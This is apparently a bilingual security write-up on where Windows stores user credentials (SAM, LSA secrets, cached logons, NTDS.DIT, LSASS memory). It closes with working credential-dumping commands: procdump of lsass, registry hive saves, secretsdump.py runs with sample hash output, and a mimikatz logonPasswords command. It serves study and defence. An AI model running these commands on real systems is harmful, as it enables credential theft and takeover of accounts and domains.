- #0x00 Windows用户凭证
- #0x01 Windows用户凭证存储情况
- #0x02 凭证读取方法
根据微软官网的介绍，用户凭证一般存储在SAM database、LSA secrets、NTDS.DIT、Supplemental Credentials和LSASS进程的内存中，另外缓存中也有可能存在用户凭证。
The SAM database is stored as a file on the local hard disk drive, and it is the authoritative credential store for local accounts on each Windows computer. This database contains all the credentials that are local to that specific computer, including the built-in local Administrator account and any other local accounts for that computer.
The SAM database stores information on each account, including the user name and the NT password hash. By default, the SAM database does not store LM hashes on current versions of Windows. No password is ever stored in a SAM database—only the password hashes. The NT password hash is an unsalted MD4 hash of the account’s password. This means that if two accounts use an identical password, they will also have an identical NT password hash.
SAM database存储在注册表里， 路径为：HKEY_LOCAL_MACHINE\SAM
The SAM subkey refers to information about Security Accounts Manager (SAM) databases for domains. Within each database are group aliases, users, guest accounts, and administrator accounts, plus the name used to log in to the domain, cryptographic hashes of each user’s password, and more.
What are LSA secrets?
LSA secrets is a special protected storage for important data used by the Local Security Authority (LSA) in Windows. LSA is designed for managing a system’s local security policy, auditing, authenticating, logging users on to the system, storing private data. Users’ and system’s sensitive data is stored in secrets. Access to all secret data is available to system only. However, as shown below, some programs, in particular Windows Password Recovery, allow to override this restriction.
What is stored in LSA secrets?
Originally, the secrets contained cached domain records. Later, Windows developers expanded the application area for the storage. At this moment, they can store PC users’ text passwords, service account passwords (for example, those that must be run by a certain user to perform certain tasks), Internet Explorer passwords, RAS connection passwords, SQL and CISCO passwords, SYSTEM account passwords, private user data like EFS encryption keys, and a lot more. For example, the NL$KM secret contains the cached domain password encryption key. L$RTMTIMEBOMB stores the amount of time left until the expiration of an inactivated copy of Windows. L$HYDRAENCKEY stores the public RSA2 key used in the Remote Desktop Protocol. Incidentally, even despite the fact that the automatic login is not set, in certain versions of Windows 7 secrets can contain the text of the administrator account password, thus compromising the entire target system.
LSA Secrets is a registry location which contains important data that are used by the Local Security Authority like authentication, logging users on to the host, local security policy etc.
LSA Secrets存储位置： LSA Secrets存储在注册表里， 路径为：HKEY_LOCAL_MACHINE/Security/Policy/Secrets
The SECURITY subkey is used to store the security policy of the current user. It’s linked to the security database of the domain where the user is logged in, or to the registry hive on the local computer if the user is logged in to the local system domain.
缓存(Cached Domain Credentials)
When a Windows computer is joined to a domain, authentication of users is performed not against the local SAM database, but by querying the domain controller. From this description, we might be tempted to conclude that there won’t be any useful credentials stored in the registry on a machine that is part of a domain; the users and their hashes don’t actually exist on the local machine but rather on the domain controller.
As it turns out, however, by default Windows does store domain credentials on client machines. The reason for this is simple: if the domain controller is unavailable for some reason, users would still like to be able to log into their machines using their credentials; for this reason Windows caches domain credentials of the last (by default) 10 users to log on to the machine. The exact number of cached logons is controlled by the value “CachedLogonCount” of HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinLogon.
The cached credentials are stored in the SECURITY hive, as with LSA secrets; specifically, they can be found in the values of HKLM\Security\Cache. This key has a number of values, named NL$1 for the first cached account, NL$2 for the second, and so on. However, as we have come to expect in these matters, the data there is not immediately usable.
缓存(Cached Domain Credentials)存储位置:
从上面的介绍里可以看到Cached Domain Credentials存储路径与LSA Secrets一致，路径为：HKEY_LOCAL_MACHINE\HKLM\Security\Cache
NTDS.DIT(AD DS database)
The Active Directory Domain Services (AD DS) database is the authoritative store of credentials for all user and computer accounts in an AD DS domain. The two types of domain controllers in AD DS that manage credentials differently are:
Writable: Each writable domain controller in the domain contains a full copy of the domain’s AD DS database, including account credentials for all accounts in the domain.
Read-only: Read-only domain controllers (RODCs) house a partial local replica with credentials for a select subset of the accounts in the domain. By default, RODCs do not have a copy of privileged domain accounts.
The database stores a number of attributes for each account, which includes user names types and the following:
- NT hash for the current password
- NT hashes for password history (if configured)
NT hash values are also retained in AD DS for previous passwords to enforce password history during password change operations. The number of password history NT hash values retained is equal to the number of passwords configured in the password history enforcement policy.
LM hashes may also be stored in the AD DS database depending on the domain controller operating system version, configuration settings, and password change frequency.
Supplemental Credentials Structures
Supplemental Credentials Structures存在NTDS.dit数据库中，保存有域用户的明文密码。
The supplementalCredentials attribute is a structured binary value that contains additional cryptographic forms of the cleartext password (and optionally the cleartext password itself) that are stored as property-value pairs.
Windows NT does not store user passwords in encrypted or plain format. Windows NT typically stores password hashes (NT Hash and LM Hash), which are the result of a one-way function (OWF) transformation, and virtually cannot be used to generate the original user password. By deﬁnition, one-way functions are irreversible. However, there are speciﬁc authentication protocols that require access to the plaintext user password. Such protocols are the CHAP authentication protocol, typically used by Windows to authenticate remote access users, as well as the SASL Digest Authentication mechanisms used by various applications, including Web/HTTP. Authentication from older MacOS hosts may require reversibly encrypted passwords as well. To meet these requirements, Windows 2000 and later allow the user password to be stored in Active Directory, in addition to the password hash. The password is then stored in the directory services database using reversible encryption. Although this is not documented, it is believed that the Supplemental-Credentials attribute in Active Directory is used to store the reversibly encrypted user password. This attribute can neither be read nor written to, and only LSA/SAM functions can access it. The password is encrypted using the SYSKEY encryption algorithm in the same way as password hashes. However, as the algorithm uses symmetric RC4 encryption, provided that the System Key is stored in the registry, the plaintext password can easily be obtained. The protection of such reversibly encrypted passwords therefore depends on the protection of the System Key.
The PEK or Password Encryption Key is used to encrypt data stored in NTDS.DIT. This key is the same across the whole domain, which means that it is the same on all the domain controllers. The PEK itself is also stored in the NTDS.DIT in an encrypted form. The PEK is encrypted with the BOOTKEY(Some sources refer to the system key as the boot key, or the startup key) which is different on all domain controllers (and in fact on all computers in the domain).
The Local Security Authority Subsystem Service (LSASS) stores credentials in memory on behalf of users with active Windows sessions. This allows users to seamlessly access network resources, such as file shares, Exchange Server mailboxes, and SharePoint sites, without re-entering their credentials for each remote service.
LSASS can store credentials in multiple forms, including:
- Reversibly encrypted plaintext
- Kerberos tickets (TGTs, service tickets)
- NT hash
- LM hash
If the user logs on to Windows by using a smart card, LSASS will not store a plaintext password, but it will store the corresponding NT hash value for the account and the plaintext PIN for the smart card. If the account attribute is enabled for a smart card that is required for interactive logon, a random NT hash value is automatically generated for the account instead of the original password hash. The password hash that is automatically generated when the attribute is set does not change.
If a user logs on to Windows with a password that is compatible with LM hashes, this authenticator will be present in memory.
The storage of plaintext credentials in memory cannot be disabled, even if the credential providers that require them are disabled.
The stored credentials are directly associated with the LSASS logon sessions that have been started since the last restart and have not been closed. For example, LSA sessions with stored LSA credentials are created when a user does any of the following:
- Logs on to a local session or RDP session on the computer
- Runs a task by using the RunAs option
- Runs an active Windows service on the computer
- Runs a scheduled task or batch job
- Runs a task on the local computer by using a remote administration tool
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
system key(Some sources refer to the system key as the boot key, or the startup key)可以通过如下方式获取：
reg.exe save hklm\system c:\system.save secretsdump.py -system system.save Local Impacket v0.9.18-dev - Copyright 2018 SecureAuth Corporation [*] Target system bootKey: 0x6614a6bef1ceaaxxxxxxxxxxxbcd257e [*] Cleaning up...
PEK(Password Encryption Key) is used to encrypt data stored in NTDS.DIT. This key is the same across the whole domain, which means that it is the same on all the domain controllers. The PEK itself is also stored in the NTDS.DIT in an encrypted form. The PEK is encrypted with the BOOTKEY which is different on all domain controllers (and in fact on all computers in the domain).
SAM database、LSA secrets和缓存中凭证的获取
SAM database、LSA secrets(包括缓存)中存储的用户凭证都可以使用secretsdump.py来获取。
reg.exe save hklm\sam c:\sam.save reg.exe save hklm\system c:\system.save secretsdump.py -sam sam.save -system system.save local Impacket v0.9.18-dev - Copyright 2018 SecureAuth Corporation [*] Target system bootKey: 0x6614a6bef1ceaaxxxxxxxxxxxbcd257e [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b514xxxxxad3b435b51404ee:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: Guest:501:aad3b435b51404xxxxx3b435b51404ee:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: de1ay:1000:aad3b435b514xxxxxd3b435b51404ee:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: abc$:1007:aad3b435b514xxxxxd3b435b51404ee:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: [*] Cleaning up...
reg.exe save hklm\security c:\security.save reg.exe save hklm\system c:\system.save secretsdump.py -security security.save -system system.save local Impacket v0.9.18-dev - Copyright 2018 SecureAuth Corporation [*] Target system bootKey: 0x6614a6bef1ceaaxxxxxxxxxxxbcd257e [*] Dumping cached domain logon information (domain/username:hash) DE1AY.COM/mssql:$DCC2$10240#mssql#a8a11a2276307e7d9c185b644dxxxxxx DE1AY.COM/Administrator:$DCC2$10240#Administrator#f879e85ffc7bd787f28d4b7f8fxxxxxx [*] Dumping LSA Secrets [*] $MACHINE.ACC $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:a2af5588ef53ff80ce73f133a2xxxxxx [*] DPAPI_SYSTEM dpapi_machinekey:0x18073c0fab6bea655106d585389e48fd5fxxxxxx dpapi_userkey:0x6d25ff60cbcc42a99957adc4a021c6049exxxxxx [*] NL$KM 0000 F0 C0 3B A4 49 60 F7 4E 18 65 C1 C8 A0 11 C2 7E ..;.I`.N.e.....~ 0010 40 00 88 B7 E1 7E ED 50 57 00 71 37 87 22 01 6B @....~.PW.q7.".k 0020 31 73 54 A3 E0 76 87 DD D5 C9 00 5F 28 EE 6A 4B 1sT..v....._(.jK 0030 3F 22 27 D0 FF 8E 1C B0 DA A4 A0 10 DB 09 32 44 ?"'...........2D NL$KM:f0c03ba44960f74e1865c1c8a011c27e400088b7e17eed50570071378722016b317354a3e07687ddd5c9005f28ee6a4b3f2227d0ff8e1cb0daa4a010dbxxxxxx [*] _SC_MSSQL$SQLEXPRESS (Unknown User):1qaz@WSX [*] _SC_ReportServer$SQLEXPRESS (Unknown User):1qaz@WSX [*] Cleaning up...
Impacket v0.9.18-dev - Copyright 2018 SecureAuth Corporation [*] Target system bootKey: 0x6614a6bef1ceaaxxxxxxxxxxxbcd257e [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy [*] Reading and decrypting hashes from ntds.dit HN-DC04$:1001:aad3b435b514xxxxxad3b435b51404ee:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: Guest:501:aad3b435b514xxxxxad3b435b51404ee:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: domain.com\Administrator:500:aad3b435b514xxxxxad3b435b51404ee:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: ……………………………………………………………………………………………………………………………… [*] ClearText password from ntds.dit domain.com\username:CLEARTEXT:123456!QAZ
C:\>mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" >> log.txt